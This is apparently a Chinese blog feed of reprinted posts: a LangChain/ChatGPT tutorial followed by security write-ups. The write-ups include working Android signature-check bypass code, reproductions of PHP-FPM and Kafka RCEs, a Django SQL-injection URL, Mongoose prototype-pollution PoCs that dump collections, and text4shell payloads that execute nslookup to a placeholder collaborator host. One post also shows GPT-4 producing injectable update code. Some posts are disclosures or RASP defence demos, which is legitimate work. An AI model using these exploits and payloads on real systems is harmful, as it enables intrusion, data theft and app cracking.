- Reprint -

使用 ChatGPT 与 Python 中的第三方应用程序进行交互

使用 ChatGPT 与 Python 中的第三方应用程序进行交互

本文转自Miloce 并作补充

将语言模型（如ChatGPT）集成到第三方应用程序中已经变得越来越流行，因为它们能够理解和生成类似人类的文本。然而，需要认识到ChatGPT的一些限制，比如它的知识截止日期是在2021年9月，以及它无法直接访问维基百科或 Python 等外部资源。

鉴于这一挑战，LangChain的联合创始人兼首席执行官Harrison Chase提出了一个创新的解决方案。他开发了Python LangChain模块，该模块使开发人员能够轻松地将第三方应用程序与大型语言模型集成在一起。这一突破开启了无限的可能性，允许开发人员充分利用语言模型的强大功能，同时有效地处理来自外部来源的信息。

在本文中，我们将探讨使用Python LangChain模块与ChatGPT交互以与第三方应用程序交互的有趣概念。到文章末尾，您将更深入地了解如何利用这种集成，创建更复杂和高效的应用程序。

导入ChatGPT模块

第一步是安装Python LangChain模块，您可以使用以下pip命令完成此操作。

1
pip install langchain

接下来，您需要从langchain.chat_models模块导入ChatOpenAI类。ChatOpenAI类允许您创建ChatGPT的实例。为此，请将model_name属性传递给ChatOpenAI类，将模型设置为”gpt-3.5-turbo”。OpenAI的”gpt-3.5-turbo”模型为ChatGPT提供动力。您还需要将您的OpenAI API密钥传递给open_api_key属性。

1
2
3
4
5
6
from langchain.chat_models import ChatOpenAI
import os

api_key = os.getenv('OPENAI_KEY2')
chatgpt = ChatOpenAI(model_name="gpt-3.5-turbo",
                    openai_api_key=api_key)

现在，我们已准备好在Python中将第三方应用程序与ChatGPT集成。

使用ChatGPT从维基百科提取信息

如前所述，ChatGPT的知识截止日期为2021年9月，无法回答那之后的查询。例如，如果您要求ChatGPT返回2022年温布尔登锦标赛的维基百科文章摘要，您将获得以下答案：

image

LangChain代理允许您与第三方应用程序交互。有关更多信息，请查看所有LangChain代理集成的列表。

让我们看看如何使用示例代码将ChatGPT与维基百科等第三方应用程序集成。

您需要从langchain.agents模块导入load_tools、initialize_agent和AgentType实体。

接下来，您应该将代理类型作为输入提供给load_tools类。在下面的示例脚本中，指定的代理类型是wikipedia。随后的步骤涉及使用initialize_agent()方法创建代理对象。在调用initialize_agent()方法时，您需要传递工具类型、ChatGPT实例和代理类型作为参数。如果将verbose参数设置为True，它将显示代理任务执行的思考过程。

在下面的脚本中，我们要求维基百科代理返回2022年温布尔登锦标赛的维基百科文章摘要。

在输出中，您可以看到代理的思考过程以及包含文章摘要的最终结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from langchain.agents import load_tools, initialize_agent, AgentType

tools = load_tools(
    ['wikipedia'], 
)

agent_chain = initialize_agent(
    tools,
    chatgpt,
    agent=AgentType.ZERO_SHOT_REACT_DESCRIPTION,
    verbose=True,
)

agent_chain.run(
    "返回2022年温布尔登锦标赛的维基百科文章摘要。"
)

image

从ArXiv提取信息

让我们看看另一个示例。我们将从ArXiv获取一篇文章的标题和作者姓名，ArXiv是一个流行的开放获取科研论文、预印本和其他学术文章的存储库。

脚本保持不变，只需将arxiv作为参数值传递给load_tools()方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
tools = load_tools(
    ["arxiv"], 
)

agent_chain = initialize_agent(
    tools,
    chatgpt,
    agent=AgentType.ZERO_SHOT_REACT_DESCRIPTION,
    verbose=True,
)

agent_chain.run(
    "给我提供文章1301.3781的标题和作者姓名。"
)

image

从CSV文件提取信息

LangChain提供了直接创建特定任务代理实例的方法。例如，langchain.agents模块的create_csv_agent()方法允许您创建与CSV文件交互的CSV代理。

让我们看一个示例。以下脚本导入包含公司员工流失信息的数据集。

1
2
3
4
5
import pandas as pd
dataset = pd

.read_csv(r'D:\Datasets\employee_attrition_dataset.csv')
dataset.head()

image

让我们使用CSV代理从此文件获取信息。我们要求ChatGPT返回销售部门的员工总数。

在输出中，您可以看到ChatGPT返回输出的过程。

1
2
3
4
5
6
7
8
9
from langchain.agents import create_csv_agent

agent = create_csv_agent(
    chatgpt,
    r'D:\Datasets\employee_attrition_dataset.csv',
    verbose=True
)

agent.run("返回销售部门的员工总数。")

image

从Pandas DataFrame提取信息

同样，您可以使用create_pandas_dataframe_agent()方法从Pandas dataframe中提取信息。在下面的脚本中，我们要求ChatGPT返回销售部门中教育领域为医学的员工总数。

1
2
3
4
5
6
7
8
9
10
11
12
import pandas as pd
dataset = pd.read_csv(r'D:\Datasets\employee_attrition_dataset.csv')

from langchain.agents import create_pandas_dataframe_agent

agent = create_pandas_dataframe_agent(
    chatgpt,
    dataset,
    verbose=True
)

agent.run("返回销售部门中教育领域为医学的员工总数。")

image

至此，教程结束。希望您会喜欢它！

Android逆向-获取APP签名

Android逆向-获取APP签名

本文转自Taardisaa 并作补充

很久以前开的blog，关于如何获取APP签名。不知道为啥要写这个了。

Android逆向-APP签名

生成JKS签名

Android studio 如何生成jks签名文件 - 简书 (jianshu.com)

打开AndroidStudio

1
Build-->Generate Signed APK-->APK

然后Key store path选择Create New

然后设置好存储路径，密码也设置一下（偷懒写个123456）

Key的别名就叫key，密码一样简单。

然后剩下的Certificate全填taardis，Country Code填11451。

反正创建成功后，就在选定路径下出现了jks密钥文件。

APK签名

将APK魔改，重新打包后，需要重新签名。

参考：Android之通过 apksigner 对 apk 进行 手动签名_恋恋西风的博客-CSDN博客

1
apksigner.bat sign --verbose --ks D:\Android\Keystore\taardis.jks --v1-signing-enabled false --v2-signing-enabled true --ks-key-alias key --ks-pass pass:123456 --key-pass pass:123456 --out D:\Android\Frida\gadget\bs.apk D:\Android\Frida\gadget\b.apk

成功后提示：

1
Signed

获取APK签名

首先APK解包：

1
apktool d <apk>

然后在 META-INF 文件夹拿到 CERT.RSA 文件。之后：

1
keytool -printcert -file CERT.RSA

不过Keytool似乎是Java的工具，不管了现在用不上。

JEB/JADX

这种反编译器也能直接看到APK的签名信息。

MT APP签名检查及绕过

L-JINBIN/ApkSignatureKillerEx: 新版MT去签及对抗 (github.com)

从“去除签名验证”说起 - 腾讯云开发者社区-腾讯云 (tencent.com)

过签名校验(2) – MT 的 IO 重定向实践 - 『移动安全区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

MT提供的签名绕过方式能够实现对API和APK方式的绕过。但是对于SVC的则无能为力。

1
2
3
4
String signatureExpected = "3bf8931788824c6a1f2c6f6ff80f6b21";
String signatureFromAPI = md5(signatureFromAPI());
String signatureFromAPK = md5(signatureFromAPK());
String signatureFromSVC = md5(signatureFromSVC());

API检测

用PackageManager直接获得签名。

1
2
3
4
5
6
7
8
9
private byte[] signatureFromAPI() {
    try {
        @SuppressLint("PackageManagerGetSignatures")
        PackageInfo info = getPackageManager().getPackageInfo(getPackageName(), PackageManager.GET_SIGNATURES);
        return info.signatures[0].toByteArray();
    } catch (PackageManager.NameNotFoundException e) {
        throw new RuntimeException(e);
    }
}

APK检测

找到APP私有文件夹下的base.apk，然后得到签名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private byte[] signatureFromAPK() {
    try (ZipFile zipFile = new ZipFile(getPackageResourcePath())) {
        Enumeration<? extends ZipEntry> entries = zipFile.entries();
        while (entries.hasMoreElements()) {
            ZipEntry entry = entries.nextElement();
            if (entry.getName().matches("(META-INF/.*)\\.(RSA|DSA|EC)")) {
                InputStream is = zipFile.getInputStream(entry);
                CertificateFactory certFactory = CertificateFactory.getInstance("X509");
                X509Certificate x509Cert = (X509Certificate) certFactory.generateCertificate(is);
                return x509Cert.getEncoded();
            }
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
    return null;
}

SVC检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private byte[] signatureFromSVC() {
    try (ParcelFileDescriptor fd = ParcelFileDescriptor.adoptFd(openAt(getPackageResourcePath()));
         ZipInputStream zis = new ZipInputStream(new FileInputStream(fd.getFileDescriptor()))) {
        ZipEntry entry;
        while ((entry = zis.getNextEntry()) != null) {
            if (entry.getName().matches("(META-INF/.*)\\.(RSA|DSA|EC)")) {
                CertificateFactory certFactory = CertificateFactory.getInstance("X509");
                X509Certificate x509Cert = (X509Certificate) certFactory.generateCertificate(zis);
                return x509Cert.getEncoded();
            }
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
    return null;
}

绕过

Java层的东西不多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
private static void killOpen(String packageName) {
    try {
        // Native层Hook
        System.loadLibrary("SignatureKiller");
    } catch (Throwable e) {
        System.err.println("Load SignatureKiller library failed");
        return;
    }
    // 读取/proc/self/maps读取APP路径
    String apkPath = getApkPath(packageName);
    if (apkPath == null) {
        System.err.println("Get apk path failed");
        return;
    }
    // 读取自身APK文件（私有目录下的base.apk）
    File apkFile = new File(apkPath);
    // 在APP私有目录下创建origin.apk文件
    File repFile = new File(getDataFile(packageName), "origin.apk");
    try (ZipFile zipFile = new ZipFile(apkFile)) {
        // 将APK中的origin.apk给提取出来（origin.apk是MT去签是生成的，是初始没有被去签的APK）
        String name = "assets/SignatureKiller/origin.apk";
        ZipEntry entry = zipFile.getEntry(name);
        if (entry == null) {
            System.err.println("Entry not found: " + name);
            return;
        }
        // 读取出来
        if (!repFile.exists() || repFile.length() != entry.getSize()) {
            try (InputStream is = zipFile.getInputStream(entry); OutputStream os = new FileOutputStream(repFile)) {
                byte[] buf = new byte[102400];
                int len;
                while ((len = is.read(buf)) != -1) {
                    os.write(buf, 0, len);
                }
            }
        }
    } catch (IOException e) {
        throw new RuntimeException(e);
    }
    // 传入底层so Hook
    hookApkPath(apkFile.getAbsolutePath(), repFile.getAbsolutePath());
}

然后看Native层，实际上是XHook，用于替换libc函数。

1
mt_jni.c

实际上就做了个字符串替换，有意将原本要打开的APK替换成origin.apk。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
const char *apkPath__;
const char *repPath__;

int (*old_open)(const char *, int, mode_t);
static int openImpl(const char *pathname, int flags, mode_t mode) {
    //XH_LOG_ERROR("open: %s", pathname);
    if (strcmp(pathname, apkPath__) == 0){
        //XH_LOG_ERROR("replace -> %s", repPath__);
        return old_open(repPath__, flags, mode);
    }
    return old_open(pathname, flags, mode);
}

JNIEXPORT void JNICALL
Java_bin_mt_signature_KillerApplication_hookApkPath(JNIEnv *env, __attribute__((unused)) jclass clazz, jstring apkPath, jstring repPath) {
    apkPath__ = (*env)->GetStringUTFChars(env, apkPath, 0);
    repPath__ = (*env)->GetStringUTFChars(env, repPath, 0);

    xhook_register(".*\\.so$", "openat64", openat64Impl, (void **) &old_openat64);
    xhook_register(".*\\.so$", "openat", openatImpl, (void **) &old_openat);
    xhook_register(".*\\.so$", "open64", open64Impl, (void **) &old_open64);
    xhook_register(".*\\.so$", "open", openImpl, (void **) &old_open);

    xhook_refresh(0);
}

通过Hook open函数，可以把基于APK读取的签名方式给绕过。

下面提供一个绕过基于PackageManager的：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
private static void killPM(String packageName, String signatureData) {
    // 构造一个假的签名
    Signature fakeSignature = new Signature(Base64.decode(signatureData, Base64.DEFAULT));
    Parcelable.Creator<PackageInfo> originalCreator = PackageInfo.CREATOR;
    Parcelable.Creator<PackageInfo> creator = new Parcelable.Creator<PackageInfo>() {
        @Override
        public PackageInfo createFromParcel(Parcel source) {
            PackageInfo packageInfo = originalCreator.createFromParcel(source);
            if (packageInfo.packageName.equals(packageName)) { //
                if (packageInfo.signatures != null && packageInfo.signatures.length > 0) {
                    packageInfo.signatures[0] = fakeSignature; // 将虚假的签名放入packageInfo，取代原来的
                }
                if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) {
                    if (packageInfo.signingInfo != null) {
                        Signature[] signaturesArray = packageInfo.signingInfo.getApkContentsSigners();
                        if (signaturesArray != null && signaturesArray.length > 0) {
                            signaturesArray[0] = fakeSignature;
                        }
                    }
                }
            }
            return packageInfo;
        }

        @Override
        public PackageInfo[] newArray(int size) {
            return originalCreator.newArray(size);
        }
    };
    try {
        // 用假的creator替换原来的PackageInfo.CREATOR
        findField(PackageInfo.class, "CREATOR").set(null, creator);
    } catch (Exception e) {
        throw new RuntimeException(e);
    }
    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) {
        // 解除某些Android系统API的使用限制？
        HiddenApiBypass.addHiddenApiExemptions("Landroid/os/Parcel;", "Landroid/content/pm", "Landroid/app");
    }
    try {
        // 清空签名缓存
        Object cache = findField(PackageManager.class, "sPackageInfoCache").get(null);
        // noinspection ConstantConditions
        cache.getClass().getMethod("clear").invoke(cache);
    } catch (Throwable ignored) {
    }
    try {
        // 清空签名缓存
        Map<?, ?> mCreators = (Map<?, ?>) findField(Parcel.class, "mCreators").get(null);
        // noinspection ConstantConditions
        mCreators.clear();
    } catch (Throwable ignored) {
    }
    try {
        // 清空签名缓存
        Map<?, ?> sPairedCreators = (Map<?, ?>) findField(Parcel.class, "sPairedCreators").get(null);
        // noinspection ConstantConditions
        sPairedCreators.clear();
    } catch (Throwable ignored) {
    }
}

参考

Java Keytool 介绍 - 且行且码 - 博客园 (cnblogs.com)

获取Android应用签名的几种方式 - 简书 (jianshu.com)

Android studio 如何生成jks签名文件 - 简书 (jianshu.com)

apktool重新打包时报错_apktool 忽略错误信息__y4nnl2的博客-CSDN博客

Android之通过 apksigner 对 apk 进行 手动签名_恋恋西风的博客-CSDN博客

apksigner | Android 开发者 | Android Developers (google.cn)

CVE-2019-11043漏洞分析与复现

CVE-2019-11043漏洞分析与复现

本文转自STong66 并作补充

漏洞描述

Nginx 上 fastcgi_split_path_info 在处理带有 %0a 的请求时，会因为遇到换行符 \n 导致 PATH_INFO 为空。而 php-fpm 在处理 PATH_INFO

为空的情况下，存在逻辑缺陷。攻击者通过精心的构造和利用，可以导致远程代码执行。

该漏洞需要在nginx.conf中进行特定配置才能触发。具体配置如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
location ~ [^/]\.php(/|$) {

 ...

 fastcgi_split_path_info ^(.+?\.php)(/.*)$;

 fastcgi_param PATH_INFO $fastcgi_path_info;

 fastcgi_pass   php:9000;

 ...

}

攻击者可以使用换行符（％0a）来破坏fastcgi_split_path_info指令中的Regexp。Regexp被损坏导致PATH_INFO为空，从而触发该漏洞。

漏洞类型

远程代码执行漏洞

危险等级

高危

利用条件

nginx配置了fastcgi_split_path_info

受影响系统

PHP 5.6-7.x，Nginx>=0.7.31

漏洞复现

使用某个大佬的 docker 环境进行复现：

PHP-FPM 远程代码执行漏洞（CVE-2019-11043）

https://github.com/vulhub/vulhub/blob/master/php/CVE-2019-11043/README.zh-cn.md

准备工作：安装 docker、golang 环境

在kali中使用如下命令安装docker和golang：

1
2
sudo apt-get install docker docker-compose
sudo apt install golang

image

image

image

搭建漏洞环境

1
2
git clone https://github.com/vulhub/vulhub.git
cd vulhub/php/CVE-2019-11043 && docker-compose up -d

image

image

image

image

安装漏洞利用工具

1
2
3
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go get -v && go build

image

image

漏洞利用

在phuip-fpizdam目录下执行 go run . “http://127.0.0.1:8080/index.php"后成功显示漏洞利用成功。

在浏览器进行了如下请求，成功复现，可以执行系统命令,id可以替换为其他OS命令。

image

漏洞分析

具体漏洞信息可参考：https://github.com/php/php-src/commit/ab061f95ca966731b1c84cf5b7b20155c0a1c06a/#diff-624bdd47ab6847d777e15327976a9227

有漏洞信息可知漏洞是由于path_info 的地址可控导致的，我们可以看到，当path_info 被%0a截断时，path_info 将被置为空，回到代码中我就发现问题所在了。

如下漏洞代码

image

在代码的1134行我们发现了可控的 path_info 的指针env_path_info

其中

env_path_info 就是变量path_info 的地址，path_info 为0则plien 为0。

slen 变量来自于请求后url的长度 int ptlen = strlen(pt); int slen = len - ptlen;

由于apache_was_here这个变量在前面被设为了0，因此path_info的赋值语句实际上就是：

1
path_info = env_path_info ? env_path_info + pilen - slen : NULL;

env_path_info是从Fast CGI的PATH_INFO取过来的，而由于代入了%0a，在采取fastcgi_split_path_info ^(.+?\.php)(/.*)$;这样的Nginx配置项的情况下，fastcgi_split_path_info无法正确识别现

在的url，因此会Path Info置空，所以env_path_info在进行取值时，同样会取到空值，这也正是漏洞原因所在。

Django SQL注入漏洞 (CVE-2022-28346)

Django SQL注入漏洞 (CVE-2022-28346)

本文转自李火火安全阁 并作补充

一、简介

Django是用Python开发的一个免费开源的Web结构，几乎包括了Web使用方方面面，能够用于快速建立高性能、文雅的网站，Diango提供了许多网站后台开发常常用到的模块，使开发者可以专注于业务部分。

二、漏洞概述

漏洞编号：CVE-2022-28346

攻击者使用精心编制的字典，通过 **kwargs 传递给QuerySet.annotate()、aggregate()和extra()这些方法，可导致这些方法在列别名中受到SQL注入攻击，该漏洞在 2.2.28 之前的 Django 2.2、3.2.13 之前的 3.2 和 4.0.4 之前的 4.0 中都存在这个问题。

三、漏洞影响版本

  • 4.0 <= Django < 4.0.4
  • 3.2 <= Django < 3.2.13
  • 2.2 <= Django < 2.2.28

四、漏洞分析

http://cn-sec.com/archives/962127.html

五、漏洞复现

Docker

1
2
docker pull s0cke3t/cve-2022-28346:latest
docker run -d -p 8080:8000 s0cke3t/cve-2022-28346

本地环境搭建

环境下载：https://github.com/DeEpinGh0st/CVE-2022-28346

Python：3.9.8
Django：3.2.11

本地启动

环境初始化

1
2
3
python manage.py makemigrations
python manage.py migrate
访问http://x.x.x.x:8000/ 插入初始化数据

image

浏览器访问

image

访问404可以获取到报错页面查看报错信息得到传参接口(注入点接口)

image

访问到demo/ 目录下，同样会出现报错信息

image

利用报错中提示的参数进行SQL注入
POC：http://x.x.x.x:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" –

image

六、修复方法

官方已发布安全版本
下载地址：https://www.djangoproject.com/download/

Mongoose Prototype Pollution Vulnerability in automattic/mongoose(CVE-2023-3696)

Mongoose Prototype Pollution Vulnerability in automattic/mongoose(CVE-2023-3696)

本文转自ehhthing 并作补充

If an attacker has some way to control an object on the Mongo server through one way or another, it is possible to cause prototype pollution on any Mongoose client. Notably, if a poorly implemented service allows a user to control the object in findByIdAndUpdate and similar functions, this bug could be triggered through the $rename operator. Another possibility is if two different services interact with the same Mongo database, it is possible that one of them allows a user to inject an arbitrary object containing a __proto__ field, which would also trigger this bug.

If used with Express and EJS, this bug can easily lead to RCE. Many other libraries have known prototype pollution exploits as well, which may cause significant impact.

Allowing user input directly into update operations seems to be a very common pattern. For example, if we ask GPT-4 a basic prompt for updating a post using Mongoose, it gives us:

Prompt:

Using Express and Mongoose, take input from the user to find a “Post” by an id, and update its fields.

Response:

In Express and Mongoose, you can use the findByIdAndUpdate method to find a “Post” by an id and update its fields. Here’s how you can do it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const express = require('express');
const mongoose = require('mongoose');
const Post = require('./models/post'); // Assuming you have a Post model in models/post.js

const app = express();

app.use(express.json()); // for parsing application/json

app.put('/post/:id', async (req, res) => {
    const { id } = req.params;

    try {
        const post = await Post.findByIdAndUpdate(id, req.body, { new: true }); 
        // new: true returns the updated post rather than the original post when the operation began

        if (!post) {
            return res.status(404).send();
        }

        res.send(post);
    } catch (e) {
        res.status(400).send(e);
    }
});

In the above example, req.params.id is used to get the id from the URL. The req.body is used to get the updated data from the user. The { new: true } option is used to return the updated post.

Proof of concept:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import { connect, model, Schema } from 'mongoose';

await connect('mongodb://127.0.0.1:27017/exploit');

const Example = model('Example', new Schema({ hello: String }));

const example = await new Example({ hello: 'world!' }).save();
await Example.findByIdAndUpdate(example._id, {
    $rename: {
        hello: '__proto__.polluted'
    }
});

// this is what causes the pollution
await Example.find();

const test = {};
console.log(test.polluted); // world!
console.log(Object.prototype); // [Object: null prototype] { polluted: 'world!' }

process.exit();

Resulting Database Entry

1
2
3
4
5
6
7
8
exploit> db.examples.find({})
[
  {
    _id: ObjectId("64a757117e3dbf11b14e0fd4"),
    __v: 0,
    ['__proto__']: { polluted: 'world!' }
  }
]

Explanation

When Mongoose finds documents and reads the malicious document into an object, it uses an object with a prototype. If the top level object contains a __proto__ field, it leads to overwrites of the object prototype.

Affected Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// document.js
/**
 * Init helper.
 *
 * @param {Object} self document instance
 * @param {Object} obj raw mongodb doc
 * @param {Object} doc object we are initializing
 * @param {Object} [opts] Optional Options
 * @param {Boolean} [opts.setters] Call `applySetters` instead of `cast`
 * @param {String} [prefix] Prefix to add to each path
 * @api private
 */

function init(self, obj, doc, opts, prefix) {
  // ...
    
  function _init(index) {
    // ...

    if (!schemaType && utils.isPOJO(obj[i])) {
      //  ...

      // (1)
      // our malicious payload first reaches here, where:
      // obj is some document
      // i = '__proto__'
      // so, obj[i] gives Object.prototype, which gets used in (2)
      init(self, obj[i], doc[i], opts, path + '.');
    } else if (!schemaType) {
      // (2)
      // after the recursive call on (1), we reach here
      // pollution happens on the next line, where:
      // doc: Object.prototype,
      // obj = { polluted: 'world!' },
      // i = 'polluted'
      doc[i] = obj[i];
      if (!strict && !prefix) {
        self[i] = obj[i];
      }
    } else {

Credits

This bug was found by myself (@ehhthing) and @strellic_

Impact

If used with Express and EJS, this bug can easily lead to RCE. Many other libraries have known prototype pollution exploits as well, which may cause significant impact.

We also found that we can actually exploit Mongoose itself with the prototype pollution, to cause it to bypass all query parameters when using .find(), which allows an attacker to potentially dump entire collections:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import { connect, model, Schema } from 'mongoose';

const mongoose = await connect('mongodb://127.0.0.1:27017/exploit');

const Post = model('Post', new Schema({
    owner: String,
    message: String
}));

await Post.create({
    owner: "SECRET_USER",
    message: "SECRET_MESSAGE"
});

const post = await Post.create({
    owner: "user",
    message: "test message"
});
await Post.findByIdAndUpdate(post._id, {
    $rename: {
        message: '__proto__.owner'
    }
});

// this pollutes Object.prototype.owner = "test message"
await Post.find({ owner: "user" });

// now, when querying posts, even when an owner is specified, all posts are returned
const posts = await Post.find({
    owner: "user2"
});

console.log(posts); // both posts created are found
/*
output:
[
  {
    _id: new ObjectId("64a7610756da3c04f900bf49"),
    owner: 'SECRET_USER',
    message: 'SECRET_MESSAGE',
    __v: 0
  },
  {
    _id: new ObjectId("64a7610756da3c04f900bf4b"),
    owner: 'user',
    __v: 0
  }
]
*/
process.exit();

This could also easily lead to denial of service depending on how large a Mongo collection is, and which other libraries are being used in the application.

Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)

Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)

本文转自云鲨RASP 并作补充

漏洞简介

Apache Kafka是一个分布式数据流处理平台，可以实时发布、订阅、存储和处理数据流。Kafka Connect是一种用于在kafka和其他系统之间可扩展、可靠的流式传输数据的工具。攻击者可以利用基于SASLJAAS 配置和SASL 协议的任意Kafka客户端，对Kafka Connect worker 创建或修改连接器时，通过构造特殊的配置，进行JNDI 注入来实现远程代码执行。

影响版本

2.4.0<=Apache kafka<=3.3.2

修复方案

更新Apache Kafka至官方最新版本

环境搭建

通过https://github.com/vulhub/vulhub搭建

漏洞复现

exp可参考：

https://github.com/projectdiscovery/nuclei-templates/blob/5d90e8275084b0ae9166ec38cacd22e5a5a94fb8/http/vulnerabilities/apache/apache-druid-kafka-connect-rce.yaml

发起攻击请求：

构造payload ,执行新建/tmp/test.txt文件

image

验证漏洞存在，文件新建成功

image

开启RASP后发起攻击：

在业务优先模式下，RASP会出现JNDI注入的告警，拦截最终的命令执行

image

堆栈信息为

image

在防护模式下将直接在JNDI注入处被拦截

image

堆栈信息为

image

漏洞分析

开始

1
org.apache.kafka.clients.producer.KafkaProducer#KafkaProducer(java.util.Properties)

image

跟进到

1
org.apache.kafka.clients.producer.KafkaProducer#KafkaProducer(java.util.Propertiesorg.apache.kafka.common.serialization.Serializer<K>,org.apache.kafka.common.serialization.Serializer<V>)

image

调用

1
org.apache.kafka.common.utils.Utils#propsToMap

对传入对象进行处理

image

将map型的对象传入

1
org.apache.kafka.clients.producer.KafkaProducer#KafkaProducer(java.util.Map<java.lang.String,java.lang.Object>org.apache.kafka.common.serialization.Serializer<K>org.apache.kafka.common.serialization.Serializer<V>)

image

之后调用

1
org.apache.kafka.clients.producer.ProducerConfig#appendSerializerToConfig

image

将返回的newConfigs传入

1
org.apache.kafka.clients.producer.ProducerConfig#ProducerConfig(java.util.Map<java.lang.String,java.lang.Object>)

image

将配置参数传入

1
org.apache.kafka.clients.producer.KafkaProducer#KafkaProducer(org.apache.kafka.clients.producer.ProducerConfig,org.apache.kafka.common.serialization.Serializer<K>org.apache.kafka.common.serialization.Serializer<V>org.apache.kafka.clients.producer.internals.ProducerMetadata,org.apache.kafka.clients.KafkaClientorg.apache.kafka.clients.producer.internals.ProducerInterceptors<K,V>org.apache.kafka.common.utils.Time)

image

赋值后调用

1
org.apache.kafka.clients.producer.KafkaProducer#newSender

image

image

调用到

1
org.apache.kafka.clients.ClientUtils#createChannelBuilder

image

赋值后调用

1
org.apache.kafka.common.network.ChannelBuilders#clientChannelBuilder

image

这里对值做了一个判断后调用

1
org.apache.kafka.common.network.ChannelBuilders#create

image

image

image

Create方法中得到map型的configs后进行switch，得到SaslChannelBuilder类型channelBuilder的对象，switch结束后调用了

1
org.apache.kafka.common.network.SaslChannelBuilder#configure

image

image

1
org.apache.kafka.common.network.SaslChannelBuilder#configure

进入循环后到

1
org.apache.kafka.common.security.authenticator.LoginManager#acquireLoginManager

image

image

image

判断值后到

1
org.apache.kafka.common.security.authenticator.LoginManager#LoginManager

image

image

跟进到

1
org.apache.kafka.common.security.authenticator.AbstractLogin#login

image

调用

1
javax.security.auth.login.LoginContext#login

image

调用

1
javax.security.auth.login.LoginContext#invokePriv

image

调用

1
javax.security.auth.login.LoginContext#invoke

进行逻辑判断后调用initialize方法

image

image

Initialize中得到userProvider

image

user.provider.url通过jndi提供

image

调用

1
com.sun.security.auth.module.JndiLoginModule#login

image

调用

1
com.sun.security.auth.module.JndiLoginModule#attemptAuthentication

image

通过

1
javax.naming.InitialContext#lookup(java.lang.String)

执行userProvider的值

image

image

由于RASP对javax.naming.InitialContext.lookup调用做了防护策略检测，所以会在此处拦截。

Reference

text4shell CVE-2022-42889 poc

text4shell CVE-2022-42889 poc

本文转自雨苁 并作补充

漏洞描述

在 Apache Common Text 包 1.5 到 1.9 中发现了一个存在缺陷的代码执行版本。攻击者从 Apache Commons Text 中包含的过程中成功完成，插值可能被动态定义。服务器应用程序会受到影响(RCE) 和不受远程服务器的隐私接触的影响。

Apache Commons Text 执行变量插值，允许动态评估和扩展属性。插值的标准格式是“${prefix:name}”，其中“prefix”用于定位执行插值的 org.apache.commons.text.lookup.StringLookup 的实例。从 1.5 版到 1.9 版，默认 Lookup 实例集包括可能导致任意代码执行或与远程服务器联系的插值器。这些查找是： – “script” – 使用 JVM 脚本执行引擎 (javax.script) 执行表达式 – “dns” – 解析 dns 记录 – “url” – 从 url 加载值，包括来自远程服务器 如果使用了不受信任的配置值，则在受影响的版本中使用插值默认值的应用程序可能容易受到远程代码执行或与远程服务器的无意接触的影响。

建议用户升级到 Apache Commons Text 1.10.0，默认情况下禁用有问题的插值器。

影响范围

  • 如果您依赖于使用 1.10.0 之前的 commons-text 版本的软件，您可能仍然不会受到攻击：只有当该软件使用StringSubstitutorAPI 而没有正确清理任何不受信任的输入时，您才会受到影响。
  • 如果您自己的软件使用 commons-text，请仔细检查它是否使用StringSubstitutorAPI，而没有正确清理任何不受信任的输入。如果是这样，更新到 1.10.0 可能是一个快速的解决方法，但推荐的解决方案是同时正确验证和清理任何不受信任的输入。

Apache Commons Text 是一个低级库，用于执行各种文本操作，例如转义、计算字符串差异以及用通过插值器查找的值替换文本中的占位符。使用字符串替换功能时，一些可用的插值器可以触发网络访问或代码执行。这是有意的，但这也意味着如果应用程序在传递给替换的字符串中包含用户输入而未对其进行适当清理，则攻击者将允许攻击者触发这些插值器。

出于这个原因，Apache Commons Text 团队决定将配置更新为“默认情况下更安全”，从而减轻无法验证输入的影响，并且不会让攻击者访问这些插值器。但是，仍然建议用户谨慎对待不受信任的输入。

我们目前不知道有任何应用程序将不受信任的输入传递给替代者，因此在 Apache Commons Text 1.10.0 之前可能会受到此问题的影响。

此问题与Log4Shell (CVE-2021-44228)不同，因为在 Log4Shell 中，可以从日志消息正文中进行字符串插值，该正文通常包含不受信任的输入。在 Apache Common Text issue 中，相关方法明确用于执行字符串插值并明确记录在案，因此应用程序不太可能在没有适当验证的情况下无意中传递不受信任的输入。

漏洞利用条件

为了利用这些漏洞，必须满足以下要求：

CVE-2022-42889 poc

1
${script:javascript:java.lang.Runtime.get.Runtime().exec(\''.trim($cmd).'\')}

用有效负载替换参数值：

1
2
3
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

https://your-target.com/exploit?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7

网址

1
2
3
${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

